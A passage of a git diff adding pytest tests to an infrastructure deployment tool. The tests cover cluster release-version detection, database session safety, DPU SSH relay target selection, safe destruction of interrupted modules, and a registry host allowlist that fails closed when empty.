"cis_ingresslinks": [], + "cis_as3_configmaps": [], + "cis_f5_ingresses": [], + "openshift_routes": [], + "cneinstances": [], + "vlans": [], + # flo key is embedded in bnk_install, not here directly + "_flo_version_for_test": flo_version, + } + + def test_known_flo_version_sets_running_release_id(self, db, make_k8s_cluster): + """resolve_ga hit → running_release_id set to the matched row, no observed upsert.""" + active_rel = _seed_active_release(db, ga_label="BNK 2.3 GA", flo_prefix="2.21") + cluster = make_k8s_cluster() + + from services.scanner import ClusterScanner + scanner = ClusterScanner(db) + + # bnk_install dict with flo version that will match prefix "2.21" + bnk_install = {"flo": {"version": "2.21.13-0.0.28"}} + platform_ctx = MagicMock() + platform_ctx.to_dict.return_value = {} + platform_ctx.detected_platform_profile = "generic" + + with patch.object(scanner.k8s_service, "get_cluster", return_value=cluster), \ + patch.object(scanner.k8s_service, "load_kubeconfig", return_value=MagicMock()), \ + patch("services.scanner.fetch_scan_data", return_value={ + "version_info": {}, "nodes": [], "namespaces": [], "crds": [], + "crd_names": set(), "crd_groups": set(), "cert_manager_pods": [], + "helm_releases": [], "kube_system_pods": [], "daemonsets": [], + "storage_classes": [], "gateways": [], "gatewayclasses": [], + "f5_tenant_pods": [], "f5_utils_pods": [], "dpf_operator_configs": [], + "dpudevices": [], "dpusets": [], "dpuclusters": [], "dpuservices": [], + "bfbs": [], "kamaji_pods": [], "kamaji_tcps": [], "cis_controllers": [], + "cis_virtualservers": [], "cis_transportservers": [], "cis_ingresslinks": [], + "cis_as3_configmaps": [], "cis_f5_ingresses": [], "openshift_routes": [], + "cneinstances": [], "vlans": [], + }), \ + patch("services.scanner.analyze_bnk_install", return_value=bnk_install), \ + patch("services.scanner.PlatformContextService.apply_cluster_context", return_value=platform_ctx), \ + patch("services.scanner.analyze_cluster_info", return_value={}), \ + patch("services.scanner.analyze_cert_manager", return_value={}), \ + patch("services.scanner.analyze_multus", return_value={}), \ + patch("services.scanner.analyze_sriov", return_value={}), \ + patch("services.scanner.analyze_hugepages", return_value={}), \ + patch("services.scanner.analyze_storage", return_value={}), \ + patch("services.scanner.analyze_gateway_api", return_value={}), \ + patch("services.scanner.analyze_dpf", return_value={}), \ + patch("services.scanner.analyze_kamaji", return_value={}), \ + patch("services.scanner.analyze_cis", return_value={}), \ + patch("services.scanner.build_recommendations", return_value=[]), \ + patch("services.scanner.build_proxy_recommendations", return_value=[]): + scanner.scan(cluster.id) + + db.refresh(cluster) + assert cluster.running_release_id == active_rel.id + # No observed row should have been created + assert db.query(BnkRelease).filter( + BnkRelease.source_type == ReleaseSourceType.OBSERVED + ).count() == 0 + + def test_unknown_flo_version_upserts_observed_and_sets_running_release_id(self, db, make_k8s_cluster): + """resolve_ga miss → observed row upserted, running_release_id set to it.""" + cluster = make_k8s_cluster() + + from services.scanner import ClusterScanner + scanner = ClusterScanner(db) + + bnk_install = {"flo": {"version": "9.99.99-0.0.1"}} + platform_ctx = MagicMock() + platform_ctx.to_dict.return_value = {} + platform_ctx.detected_platform_profile = "generic" + + with patch.object(scanner.k8s_service, "get_cluster", return_value=cluster), \ + patch.object(scanner.k8s_service, "load_kubeconfig", return_value=MagicMock()), \ + patch("services.scanner.fetch_scan_data", return_value={ + "version_info": {}, "nodes": [], "namespaces": [], "crds": [], + "crd_names": set(), "crd_groups": set(), "cert_manager_pods": [], + "helm_releases": [], "kube_system_pods": [], "daemonsets": [], + "storage_classes": [], "gateways": [], "gatewayclasses": [], + "f5_tenant_pods": [], "f5_utils_pods": [], "dpf_operator_configs": [], + "dpudevices": [], "dpusets": [], "dpuclusters": [], "dpuservices": [], + "bfbs": [], "kamaji_pods": [], "kamaji_tcps": [], "cis_controllers": [], + "cis_virtualservers": [], "cis_transportservers": [], "cis_ingresslinks": [], + "cis_as3_configmaps": [], "cis_f5_ingresses": [], "openshift_routes": [], + "cneinstances": [], "vlans": [], + }), \ + patch("services.scanner.analyze_bnk_install", return_value=bnk_install), \ + patch("services.scanner.PlatformContextService.apply_cluster_context", return_value=platform_ctx), \ + patch("services.scanner.analyze_cluster_info", return_value={}), \ + patch("services.scanner.analyze_cert_manager", return_value={}), \ + patch("services.scanner.analyze_multus", return_value={}), \ + patch("services.scanner.analyze_sriov", return_value={}), \ + patch("services.scanner.analyze_hugepages", return_value={}), \ + patch("services.scanner.analyze_storage", return_value={}), \ + patch("services.scanner.analyze_gateway_api", return_value={}), \ + patch("services.scanner.analyze_dpf", return_value={}), \ + patch("services.scanner.analyze_kamaji", return_value={}), \ + patch("services.scanner.analyze_cis", return_value={}), \ + patch("services.scanner.build_recommendations", return_value=[]), \ + patch("services.scanner.build_proxy_recommendations", return_value=[]): + scanner.scan(cluster.id) + + db.refresh(cluster) + assert cluster.running_release_id is not None + observed = db.query(BnkRelease).filter_by(id=cluster.running_release_id).one() + assert observed.source_type == ReleaseSourceType.OBSERVED + assert observed.flo_version_min == "9.99.99-0.0.1" + assert observed.is_active is False + + def test_repeated_scan_does_not_duplicate_observed_row(self, db, make_k8s_cluster): + """Idempotency: two scans of the same unknown FLO version → exactly one observed row.""" + cluster = make_k8s_cluster() + + from services.scanner import ClusterScanner + + bnk_install = {"flo": {"version": "8.88.88-0.0.1"}} + platform_ctx = MagicMock() + platform_ctx.to_dict.return_value = {} + platform_ctx.detected_platform_profile = "generic" + + fetch_data = { + "version_info": {}, "nodes": [], "namespaces": [], "crds": [], + "crd_names": set(), "crd_groups": set(), "cert_manager_pods": [], + "helm_releases": [], "kube_system_pods": [], "daemonsets": [], + "storage_classes": [], "gateways": [], "gatewayclasses": [], + "f5_tenant_pods": [], "f5_utils_pods": [], "dpf_operator_configs": [], + "dpudevices": [], "dpusets": [], "dpuclusters": [], "dpuservices": [], + "bfbs": [], "kamaji_pods": [], "kamaji_tcps": [], "cis_controllers": [], + "cis_virtualservers": [], "cis_transportservers": [], "cis_ingresslinks": [], + "cis_as3_configmaps": [], "cis_f5_ingresses": [], "openshift_routes": [], + "cneinstances": [], "vlans": [], + } + + for _ in range(2): + scanner = ClusterScanner(db) + with patch.object(scanner.k8s_service, "get_cluster", return_value=cluster), \ + patch.object(scanner.k8s_service, "load_kubeconfig", return_value=MagicMock()), \ + patch("services.scanner.fetch_scan_data", return_value=fetch_data), \ + patch("services.scanner.analyze_bnk_install", return_value=bnk_install), \ + patch("services.scanner.PlatformContextService.apply_cluster_context", return_value=platform_ctx), \ + patch("services.scanner.analyze_cluster_info", return_value={}), \ + patch("services.scanner.analyze_cert_manager", return_value={}), \ + patch("services.scanner.analyze_multus", return_value={}), \ + patch("services.scanner.analyze_sriov", return_value={}), \ + patch("services.scanner.analyze_hugepages", return_value={}), \ + patch("services.scanner.analyze_storage", return_value={}), \ + patch("services.scanner.analyze_gateway_api", return_value={}), \ + patch("services.scanner.analyze_dpf", return_value={}), \ + patch("services.scanner.analyze_kamaji", return_value={}), \ + patch("services.scanner.analyze_cis", return_value={}), \ + patch("services.scanner.build_recommendations", return_value=[]), \ + patch("services.scanner.build_proxy_recommendations", return_value=[]): + scanner.scan(cluster.id) + + observed_count = db.query(BnkRelease).filter( + BnkRelease.source_type == ReleaseSourceType.OBSERVED, + BnkRelease.flo_version_min == "8.88.88-0.0.1", + ).count() + assert observed_count == 1 + + def test_no_flo_version_leaves_running_release_id_unchanged(self, db, make_k8s_cluster): + """When detect_current_bnk_version returns None, running_release_id is not touched.""" + cluster = make_k8s_cluster() + assert cluster.running_release_id is None + + from services.scanner import ClusterScanner + scanner = ClusterScanner(db) + + # bnk_install with no FLO version → detect_current_bnk_version returns None + bnk_install = {"flo": {}} + platform_ctx = MagicMock() + platform_ctx.to_dict.return_value = {} + platform_ctx.detected_platform_profile = "generic" + + with patch.object(scanner.k8s_service, "get_cluster", return_value=cluster), \ + patch.object(scanner.k8s_service, "load_kubeconfig", return_value=MagicMock()), \ + patch("services.scanner.fetch_scan_data", return_value={ + "version_info": {}, "nodes": [], "namespaces": [], "crds": [], + "crd_names": set(), "crd_groups": set(), "cert_manager_pods": [], + "helm_releases": [], "kube_system_pods": [], "daemonsets": [], + "storage_classes": [], "gateways": [], "gatewayclasses": [], + "f5_tenant_pods": [], "f5_utils_pods": [], "dpf_operator_configs": [], + "dpudevices": [], "dpusets": [], "dpuclusters": [], "dpuservices": [], + "bfbs": [], "kamaji_pods": [], "kamaji_tcps": [], "cis_controllers": [], + "cis_virtualservers": [], "cis_transportservers": [], "cis_ingresslinks": [], + "cis_as3_configmaps": [], "cis_f5_ingresses": [], "openshift_routes": [], + "cneinstances": [], "vlans": [], + }), \ + patch("services.scanner.analyze_bnk_install", return_value=bnk_install), \ + patch("services.scanner.PlatformContextService.apply_cluster_context", return_value=platform_ctx), \ + patch("services.scanner.analyze_cluster_info", return_value={}), \ + patch("services.scanner.analyze_cert_manager", return_value={}), \ + patch("services.scanner.analyze_multus", return_value={}), \ + patch("services.scanner.analyze_sriov", return_value={}), \ + patch("services.scanner.analyze_hugepages", return_value={}), \ + patch("services.scanner.analyze_storage", return_value={}), \ + patch("services.scanner.analyze_gateway_api", return_value={}), \ + patch("services.scanner.analyze_dpf", return_value={}), \ + patch("services.scanner.analyze_kamaji", return_value={}), \ + patch("services.scanner.analyze_cis", return_value={}), \ + patch("services.scanner.build_recommendations", return_value=[]), \ + patch("services.scanner.build_proxy_recommendations", return_value=[]): + scanner.scan(cluster.id) + + db.refresh(cluster) + assert cluster.running_release_id is None + + +# --------------------------------------------------------------------------- +# SAVEPOINT session-safety: DB-level error in write-back must not poison session +# --------------------------------------------------------------------------- + +_EMPTY_FETCH_DATA = { + "version_info": {}, "nodes": [], "namespaces": [], "crds": [], + "crd_names": set(), "crd_groups": set(), "cert_manager_pods": [], + "helm_releases": [], "kube_system_pods": [], "daemonsets": [], + "storage_classes": [], "gateways": [], "gatewayclasses": [], + "f5_tenant_pods": [], "f5_utils_pods": [], "dpf_operator_configs": [], + "dpudevices": [], "dpusets": [], "dpuclusters": [], "dpuservices": [], + "bfbs": [], "kamaji_pods": [], "kamaji_tcps": [], "cis_controllers": [], + "cis_virtualservers": [], "cis_transportservers": [], "cis_ingresslinks": [], + "cis_as3_configmaps": [], "cis_f5_ingresses": [], "openshift_routes": [], + "cneinstances": [], "vlans": [], +} + + +def _run_scan_with_bad_upsert(db, cluster, bad_upsert_side_effect): + """Run scan() with get_or_create_observed patched to a given side_effect. + + Uses contextlib.ExitStack to apply the analysis patches list because Python + does not support `*iterable` unpacking in `with` statements. + """ + import contextlib + + from services.scanner import ClusterScanner + + scanner = ClusterScanner(db) + bnk_install = {"flo": {"version": "6.66.6-0.0.1"}} + platform_ctx = MagicMock() + platform_ctx.to_dict.return_value = {} + platform_ctx.detected_platform_profile = "generic" + + with contextlib.ExitStack() as stack: + stack.enter_context(patch.object(scanner.k8s_service, "get_cluster", return_value=cluster)) + stack.enter_context(patch.object(scanner.k8s_service, "load_kubeconfig", return_value=MagicMock())) + stack.enter_context(patch("services.scanner.fetch_scan_data", return_value=_EMPTY_FETCH_DATA)) + stack.enter_context(patch("services.scanner.analyze_bnk_install", return_value=bnk_install)) + stack.enter_context(patch("services.scanner.PlatformContextService.apply_cluster_context", return_value=platform_ctx)) + stack.enter_context(patch( + "services.release_registry_service.ReleaseRegistryService.get_or_create_observed", + side_effect=bad_upsert_side_effect, + )) + for name in [ + "services.scanner.analyze_cluster_info", + "services.scanner.analyze_cert_manager", + "services.scanner.analyze_multus", + "services.scanner.analyze_sriov", + "services.scanner.analyze_hugepages", + "services.scanner.analyze_storage", + "services.scanner.analyze_gateway_api", + "services.scanner.analyze_dpf", + "services.scanner.analyze_kamaji", + "services.scanner.analyze_cis", + ]: + stack.enter_context(patch(name, return_value={})) + stack.enter_context(patch("services.scanner.build_recommendations", return_value=[])) + stack.enter_context(patch("services.scanner.build_proxy_recommendations", return_value=[])) + return scanner.scan(cluster.id) + + +class TestScannerWritebackSessionSafety: + """ + Verify that a DB-level error inside get_or_create_observed does NOT poison + the SQLAlchemy session (Fix 2 / begin_nested SAVEPOINT guard). + + Without begin_nested(), a flush failure inside get_or_create_observed puts + the session in 'needs rollback' state; the subsequent platform-context + self.db.flush() then raises PendingRollbackError, turning a non-fatal + write-back failure into a hard scan crash. + + The test triggers the exact scenario: a NOT-NULL constraint violation inside + get_or_create_observed's flush causes an IntegrityError at the DB level. + With begin_nested(), only the savepoint is rolled back; scan() completes + and returns a valid result dict. + """ + + def test_db_level_flush_error_does_not_crash_scan(self, db, make_k8s_cluster): + """ + A DB-level IntegrityError inside get_or_create_observed's flush must not + propagate as a scan failure. The SAVEPOINT rolls back the nested block; + the outer session remains usable and scan() returns a valid result. + """ + cluster = make_k8s_cluster() + + def _db_level_error(flo_version): + # Trigger a real DB-level constraint failure: ga_label is NOT NULL. + # db.flush() raises IntegrityError from the DB engine, which (without + # begin_nested) would poison the outer session with PendingRollbackError. + from models.bnk_release import BnkRelease + row = BnkRelease(ga_label=None, product_line="BNK", source_type="manual") + db.add(row) + db.flush() # raises IntegrityError → savepoint catches + rolls back + + result = _run_scan_with_bad_upsert(db, cluster, _db_level_error) + + # Scan completed — not a hard failure + assert result["cluster_id"] == cluster.id + # Write-back was rolled back cleanly; running_release_id is still null + db.refresh(cluster) + assert cluster.running_release_id is None + + def test_python_error_in_writeback_does_not_crash_scan(self, db, make_k8s_cluster): + """ + A plain Python exception in get_or_create_observed also must not fail + the scan (broad-except guarantee), and must not lose earlier writes. + """ + cluster = make_k8s_cluster() + + result = _run_scan_with_bad_upsert( + db, cluster, RuntimeError("simulated registry failure") + ) + + assert result["cluster_id"] == cluster.id + db.refresh(cluster) + assert cluster.running_release_id is None diff --git a/backend/tests/component/test_ssh_tasks.py b/backend/tests/component/test_ssh_tasks.py index 8d5ac4ba..a734b8c3 100644 --- a/backend/tests/component/test_ssh_tasks.py +++ b/backend/tests/component/test_ssh_tasks.py @@ -11,6 +11,7 @@ - _try_auto_register_cluster() creates cluster and links to host """ +import logging from unittest.mock import MagicMock, patch import pytest @@ -18,6 +19,7 @@ from core.encryption import encrypt_value from models import ModuleLibrary, Project, ProjectModule from models.bare_metal import BareMetalHost +from models.dpu import Dpu from models.ssh_credential import SSHCredential # ── Fixtures ────────────────────────────────────────────────────────── @@ -320,6 +322,164 @@ def test_build_ssh_context_falls_back_to_variables_for_host_id( assert ctx.ssh_host == bare_metal_host.host_ip + def test_build_ssh_context_uses_dpu_tmfifo_ip_when_dpu_mgmt_ip_absent( + self, db, project_module, bare_metal_host, project, + ): + """ADR-424: when exactly one cluster-member DPU has a persisted tmfifo IP + and dpu_mgmt_ip is not set, the relay dials that IP (not .2).""" + from tasks.ssh_tasks import _build_ssh_context + + assert bare_metal_host.dpu_mgmt_ip is None + + from models.kubernetes import KubernetesCluster + cluster = KubernetesCluster(name="c-tmfifo", context="ctx-tmfifo", project_id=project.id) + db.add(cluster) + db.flush() + + dpu = Dpu( + project_id=project.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, + pci_address="0000:0d:00", + kubernetes_cluster_id=cluster.id, + dpu_tmfifo_ip="192.168.100.6", + ) + db.add(dpu) + db.flush() + + with patch("tasks.ssh_tasks._get_module_def_for_target", return_value=None): + ctx = _build_ssh_context(db, project_module) + + assert ctx.dpu_host == "192.168.100.6" + + def test_build_ssh_context_dpu_mgmt_ip_wins_over_tmfifo_ip( + self, db, project_module, bare_metal_host, project, + ): + """ADR-424: BareMetalHost.dpu_mgmt_ip (OOB) takes precedence over any + cluster-member DPU tmfifo IP so that dual_dpu_obmc hosts are unaffected.""" + from tasks.ssh_tasks import _build_ssh_context + + bare_metal_host.dpu_mgmt_ip = "10.1.1.50" + db.flush() + + dpu = Dpu( + project_id=project.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, + pci_address="0000:0d:00", + dpu_tmfifo_ip="192.168.100.6", + ) + db.add(dpu) + db.flush() + + with patch("tasks.ssh_tasks._get_module_def_for_target", return_value=None): + ctx = _build_ssh_context(db, project_module) + + assert ctx.dpu_host == "10.1.1.50" + + def test_build_ssh_context_warns_and_falls_through_for_ambiguous_multi_dpu( + self, db, project_module, bare_metal_host, project, caplog, + ): + """ADR-424 Phase 2 boundary: when two cluster-member DPUs on the same host + both have tmfifo IPs, the relay cannot unambiguously pick one — it must + warn and fall back to the legacy dpu_info / 192.168.100.2 path.""" + from tasks.ssh_tasks import _build_ssh_context + + assert bare_metal_host.dpu_mgmt_ip is None + # bare_metal_host fixture has dpu_info[0].mgmt_ip == "192.168.100.2" + + from models.kubernetes import KubernetesCluster + cluster = KubernetesCluster(name="c-ambiguous", context="ctx-ambiguous", project_id=project.id) + db.add(cluster) + db.flush() + + dpu_a = Dpu( + project_id=project.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, + pci_address="0000:0d:00", + kubernetes_cluster_id=cluster.id, + dpu_tmfifo_ip="192.168.100.6", + ) + dpu_b = Dpu( + project_id=project.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, + pci_address="0000:0e:00", + kubernetes_cluster_id=cluster.id, + dpu_tmfifo_ip="192.168.100.10", + ) + db.add_all([dpu_a, dpu_b]) + db.flush() + + with caplog.at_level(logging.WARNING, logger="tasks.ssh_tasks"), \ + patch("tasks.ssh_tasks._get_module_def_for_target", return_value=None): + ctx = _build_ssh_context(db, project_module) + + assert "multi-DPU-per-host relay target selection is not yet supported" in caplog.text + # Falls through to dpu_info[0].mgmt_ip from the bare_metal_host fixture + assert ctx.dpu_host == "192.168.100.2" + + def test_build_ssh_context_ignores_dpu_in_other_project( + self, db, project_module, bare_metal_host, project, + ): + """ADR-424 security: a DPU sharing host_node_ip but owned by ANOTHER + project must not be picked as the relay target (host_node_ip is unique + only per (project_id, host_node_ip, pci_address)).""" + from models.kubernetes import KubernetesCluster + from tasks.ssh_tasks import _build_ssh_context + + other = Project( + name="Other BM Project", description="", project_type="bare-metal", + cloud_provider="on-prem", environment="dev", backend_type="local", + color="#000000", icon="server", is_active=True, + ) + db.add(other) + db.flush() + other_cluster = KubernetesCluster(name="c-foreign", context="ctx-foreign", project_id=other.id) + db.add(other_cluster) + db.flush() + foreign = Dpu( + project_id=other.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, # same host IP, different project + pci_address="0000:0d:00", + kubernetes_cluster_id=other_cluster.id, + dpu_tmfifo_ip="192.168.104.6", + ) + db.add(foreign) + db.flush() + + with patch("tasks.ssh_tasks._get_module_def_for_target", return_value=None): + ctx = _build_ssh_context(db, project_module) + + # Foreign-project DPU ignored → falls back to dpu_info default. + assert ctx.dpu_host == "192.168.100.2" + + def test_build_ssh_context_ignores_orphaned_dpu( + self, db, project_module, bare_metal_host, project, + ): + """ADR-424: an orphaned DPU (kubernetes_cluster_id NULL, dpu_tmfifo_ip + still populated after ondelete=SET NULL) must not be dialed as the relay + target — only live cluster members qualify.""" + from tasks.ssh_tasks import _build_ssh_context + + orphan = Dpu( + project_id=project.id, + access_mode="in-band", + host_node_ip=bare_metal_host.host_ip, + pci_address="0000:0d:00", + kubernetes_cluster_id=None, # orphan + dpu_tmfifo_ip="192.168.105.6", + ) + db.add(orphan) + db.flush() + + with patch("tasks.ssh_tasks._get_module_def_for_target", return_value=None): + ctx = _build_ssh_context(db, project_module) + + assert ctx.dpu_host == "192.168.100.2" + # ── _resolve_jumphost_chain ────────────────────────────────────────── @@ -729,3 +889,101 @@ def test_try_auto_register_no_scan_enqueue_on_failure( _try_auto_register_cluster(db, project_module, outputs) mock_scan_task.delay.assert_not_called() + + def test_try_auto_register_stamps_cluster_deployable_release_id( + self, db, project_module, bare_metal_host, + ): + """ADR-478 P1b: cluster.deployable_release_id is stamped from host.version_profile_id at link seam.""" + from models import KubernetesCluster + from models.bnk_deployable_release import BnkDeployableRelease + from tasks.ssh_tasks import _try_auto_register_cluster + + # Create a deployable release row so the FK is valid + release = BnkDeployableRelease( + name="bnk-2.2", + display_name="BNK 2.2 (GA)", + description="test", + is_default=True, + is_active=True, + source_type="manual", + bnk_manifest_version="2.2.1-3.2226.0-0.0.511", + bnk_cr_kind="CNEInstance", + flo_version="2.17.2", + k8s_version="1.29.8", + doca_version="2.6.0", + containerd_version="1.7.22", + runc_version="1.1.14", + calico_version="3.27.3", + cert_manager_version="v1.16.1", + gateway_api_version="v1.1.0", + multus_version="4.0.2", + sriov_version="1.5.1", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + ) + db.add(release) + db.flush() + + # Stamp the host with this release (simulates what deploy_stack does) + bare_metal_host.version_profile_id = release.id + db.flush() + + cluster = KubernetesCluster( + name="adr478-cluster", + context="adr478-context", + api_server="https://10.176.11.143:6443", + status="active", + ) + db.add(cluster) + db.flush() + + outputs = { + "cluster_name": "adr478-cluster", + "remote_kubeconfig_path": "/etc/kubernetes/admin.conf", + "remote_host": "10.176.11.143", + } + mock_result = {"success": True, "cluster_name": "adr478-cluster", "cluster_id": cluster.id} + + with patch("services.cluster_auto_registration_service.matches_cluster_output_contract", return_value=True), \ + patch("services.cluster_auto_registration_service.maybe_auto_register_cluster", return_value=mock_result), \ + patch("tasks.cluster_scan_task.enqueue_cluster_scan"): + _try_auto_register_cluster(db, project_module, outputs) + + db.refresh(cluster) + assert cluster.deployable_release_id == release.id, ( + "Cluster should record the deployable_release_id from the host's version_profile_id" + ) + + def test_try_auto_register_skips_cluster_stamp_when_no_host_release( + self, db, project_module, bare_metal_host, + ): + """ADR-478 P1b: cluster.deployable_release_id stays NULL when host has no version_profile_id.""" + from models import KubernetesCluster + from tasks.ssh_tasks import _try_auto_register_cluster + + # host.version_profile_id is None (default in fixture) + assert bare_metal_host.version_profile_id is None + + cluster = KubernetesCluster( + name="adr478-no-release-cluster", + context="adr478-no-release-context", + api_server="https://10.176.11.143:6443", + status="active", + ) + db.add(cluster) + db.flush() + + outputs = { + "cluster_name": "adr478-no-release-cluster", + "remote_kubeconfig_path": "/etc/kubernetes/admin.conf", + "remote_host": "10.176.11.143", + } + mock_result = {"success": True, "cluster_name": "adr478-no-release-cluster", "cluster_id": cluster.id} + + with patch("services.cluster_auto_registration_service.matches_cluster_output_contract", return_value=True), \ + patch("services.cluster_auto_registration_service.maybe_auto_register_cluster", return_value=mock_result), \ + patch("tasks.cluster_scan_task.enqueue_cluster_scan"): + _try_auto_register_cluster(db, project_module, outputs) + + db.refresh(cluster) + assert cluster.deployable_release_id is None diff --git a/backend/tests/component/test_stack_deployment_service.py b/backend/tests/component/test_stack_deployment_service.py index 703c41b1..9676c544 100644 --- a/backend/tests/component/test_stack_deployment_service.py +++ b/backend/tests/component/test_stack_deployment_service.py @@ -1568,6 +1568,97 @@ def test_destroy_blocks_when_module_in_progress( assert success is False assert "operation in progress" in msg + def test_destroy_does_not_orphan_an_interrupted_apply( + self, db, make_project, make_stack_template, make_stack_instance, make_module_library + ): + """#30: a module whose apply worker died must be DESTROYED, not deleted. + + `tofu apply` creates IAM roles, VPCs and the like well before it + finishes, so a module that reached `applying` may own cloud resources + even with no terminal task on record. BUG-008 recovery used to reset it + to not_initialized, which routed it into the delete-directly branch -- + the row vanished with no destroy attempt, the resources outlived + Forge's knowledge of them, and the next deploy hit EntityAlreadyExists. + """ + p = make_project() + lib = make_module_library(name="iam", path="bnk/iam") + t = make_stack_template() + si = make_stack_instance(project=p, template=t, status=StackInstanceStatus.DEPLOYED) + pm = ProjectModule( + project_id=p.id, module_library_id=lib.id, + path_in_project=f"stack-{si.id}/bnk/iam", + status=ModuleStatus.APPLYING, stack_instance_id=si.id, + ) + db.add(pm) + db.flush() + # No Task row at all: the worker died before recording anything. + db.refresh(si) + svc = StackDeploymentService(db) + + with patch.object(svc, '_dispatch_first_destroy_wave_stack', return_value="mock-task-id") as mock_wave: + success, msg = svc.destroy_stack(si) + + assert success is True + db.refresh(pm) + # Recovered to a destroy-ELIGIBLE state, not a delete-eligible one. + assert pm.status == ModuleStatus.APPLY_FAILED + assert "may exist" in (pm.deployment_error or "").lower() or "destroy will be attempted" in (pm.deployment_error or "") + # And it was queued for a real destroy rather than deleted. + mock_wave.assert_called_once() + assert "1 modules" in msg + assert db.query(ProjectModule).filter_by(id=pm.id).count() == 1 + + def test_destroy_does_not_orphan_an_interrupted_destroy( + self, db, make_project, make_stack_template, make_stack_instance, make_module_library + ): + """Symmetric: a module interrupted mid-destroy still owns whatever was not torn down.""" + p = make_project() + lib = make_module_library(name="iam", path="bnk/iam") + t = make_stack_template() + si = make_stack_instance(project=p, template=t, status=StackInstanceStatus.DEPLOYED) + pm = ProjectModule( + project_id=p.id, module_library_id=lib.id, + path_in_project=f"stack-{si.id}/bnk/iam", + status=ModuleStatus.DESTROYING, stack_instance_id=si.id, + ) + db.add(pm) + db.flush() + db.refresh(si) + svc = StackDeploymentService(db) + + with patch.object(svc, '_dispatch_first_destroy_wave_stack', return_value="mock-task-id") as mock_wave: + success, _ = svc.destroy_stack(si) + + assert success is True + db.refresh(pm) + assert pm.status == ModuleStatus.DESTROY_FAILED + mock_wave.assert_called_once() + + def test_interrupted_init_or_plan_is_still_safe_to_delete( + self, db, make_project, make_stack_template, make_stack_instance, make_module_library + ): + """Nothing is applied during init/plan, so nothing can be orphaned. Keep the fast path.""" + p = make_project() + lib = make_module_library(name="vpc", path="bnk/vpc") + t = make_stack_template() + si = make_stack_instance(project=p, template=t, status=StackInstanceStatus.DEPLOYED) + pm = ProjectModule( + project_id=p.id, module_library_id=lib.id, + path_in_project=f"stack-{si.id}/bnk/vpc", + status=ModuleStatus.PLANNING, stack_instance_id=si.id, + ) + db.add(pm) + db.flush() + db.refresh(si) + svc = StackDeploymentService(db) + + with patch.object(svc, '_dispatch_first_destroy_wave_stack') as mock_wave: + success, msg = svc.destroy_stack(si) + + assert success is True + mock_wave.assert_not_called() + assert db.query(ProjectModule).filter_by(id=pm.id).count() == 0 + def test_destroy_handles_dispatch_failure( self, db, make_project, make_stack_template, make_stack_instance, make_module_library ): diff --git a/backend/tests/component/test_stack_service.py b/backend/tests/component/test_stack_service.py index 338deecb..65326cb7 100644 --- a/backend/tests/component/test_stack_service.py +++ b/backend/tests/component/test_stack_service.py @@ -728,6 +728,99 @@ def test_deploys_successfully(self, mock_deploy, mock_upgrade, db, make_project, assert result["message"] == "Deployment started" mock_deploy.assert_called_once() + @patch("services.system_service.SystemService.is_upgrade_in_progress", return_value=False) + @patch("services.stack_deployment_service.StackDeploymentService.deploy_stack", return_value=(True, "ok")) + def test_deploy_stack_stamps_host_version_profile_id( + self, _mock_deploy, _mock_upgrade, db, make_project, make_stack_template, make_stack_instance, + ): + """ADR-478 P1b: deploy_stack stamps host.version_profile_id from deployable_release_id.""" + from models.bare_metal import BareMetalHost + from models.bnk_deployable_release import BnkDeployableRelease + + p = make_project() + t = make_stack_template() + + release = BnkDeployableRelease( + name="bnk-2.2-test", + display_name="BNK 2.2 Test", + description="test", + is_default=True, + is_active=True, + source_type="manual", + bnk_manifest_version="2.2.1-3.2226.0-0.0.511", + bnk_cr_kind="CNEInstance", + flo_version="2.17.2", + k8s_version="1.29.8", + doca_version="2.6.0", + containerd_version="1.7.22", + runc_version="1.1.14", + calico_version="3.27.3", + cert_manager_version="v1.16.1", + gateway_api_version="v1.1.0", + multus_version="4.0.2", + sriov_version="1.5.1", + storage_class_type="local-path", + storage_provisioner="rancher.io/local-path", + ) + db.add(release) + db.flush() + + host = BareMetalHost( + project_id=p.id, + name="test-host", + host_ip="10.0.0.1", + ) + db.add(host) + db.flush() + + # Stack variables use module-scoped nesting (matches StackDetailDialog.handleDeploy) + si = make_stack_instance( + project=p, + template=t, + variables={"bare-metal/bnk-infra": {"bare_metal_host_id": str(host.id)}}, + ) + + svc = StackService(db) + svc.deploy_stack(p.id, si.id, deployable_release_id=release.id) + + db.refresh(host) + assert host.version_profile_id == release.id, ( + "host.version_profile_id must be stamped with the chosen deployable_release_id" + ) + + @patch("services.system_service.SystemService.is_upgrade_in_progress", return_value=False) + @patch("services.stack_deployment_service.StackDeploymentService.deploy_stack", return_value=(True, "ok")) + def test_deploy_stack_noop_without_release_id( + self, _mock_deploy, _mock_upgrade, db, make_project, make_stack_template, make_stack_instance, + ): + """ADR-478 P1b: deploy_stack without deployable_release_id leaves host unchanged.""" + from models.bare_metal import BareMetalHost + + p = make_project() + t = make_stack_template() + + host = BareMetalHost( + project_id=p.id, + name="test-host-no-stamp", + host_ip="10.0.0.2", + ) + db.add(host) + db.flush() + + si = make_stack_instance( + project=p, + template=t, + variables={"bare-metal/bnk-infra": {"bare_metal_host_id": str(host.id)}}, + ) + + svc = StackService(db) + svc.deploy_stack(p.id, si.id) # no deployable_release_id + + db.refresh(host) + assert host.version_profile_id is None, ( + "host.version_profile_id must remain unchanged when no release_id is passed" + ) + class TestRunDeploy: """run_deploy orchestration safety checks.""" diff --git a/backend/tests/component/test_supply_chain_graph.py b/backend/tests/component/test_supply_chain_graph.py index d3656198..45049cdb 100644 --- a/backend/tests/component/test_supply_chain_graph.py +++ b/backend/tests/component/test_supply_chain_graph.py @@ -111,9 +111,43 @@ def test_rejects_host_not_on_allowlist(self, db): with pytest.raises(sc.SupplyChainPolicyError, match="not in the configured"): sc.enforce_host_allowlist(db, ["evil.example.com"]) - def test_empty_allowlist_disables_enforcement(self, db): + def test_empty_allowlist_enforces_the_built_in_default(self, db): + """#79: an empty/unset allowlist is FAIL-CLOSED. + + This test previously asserted the opposite -- that an empty setting + disabled enforcement -- while the ingest-time reader in + module_sync_service fell back to the built-in default. Same key, two + readers, opposite meanings for "empty": an operator who cleared the + setting, or a fresh install before the row existed, got an unenforced + pull path while ingest still claimed to enforce. Both readers now + share resolve_registry_host_allowlist, so "empty" means "the shipped + default", never "anything goes". + """ with patch("services.execution.supply_chain.get_default", return_value=""): - sc.enforce_host_allowlist(db, 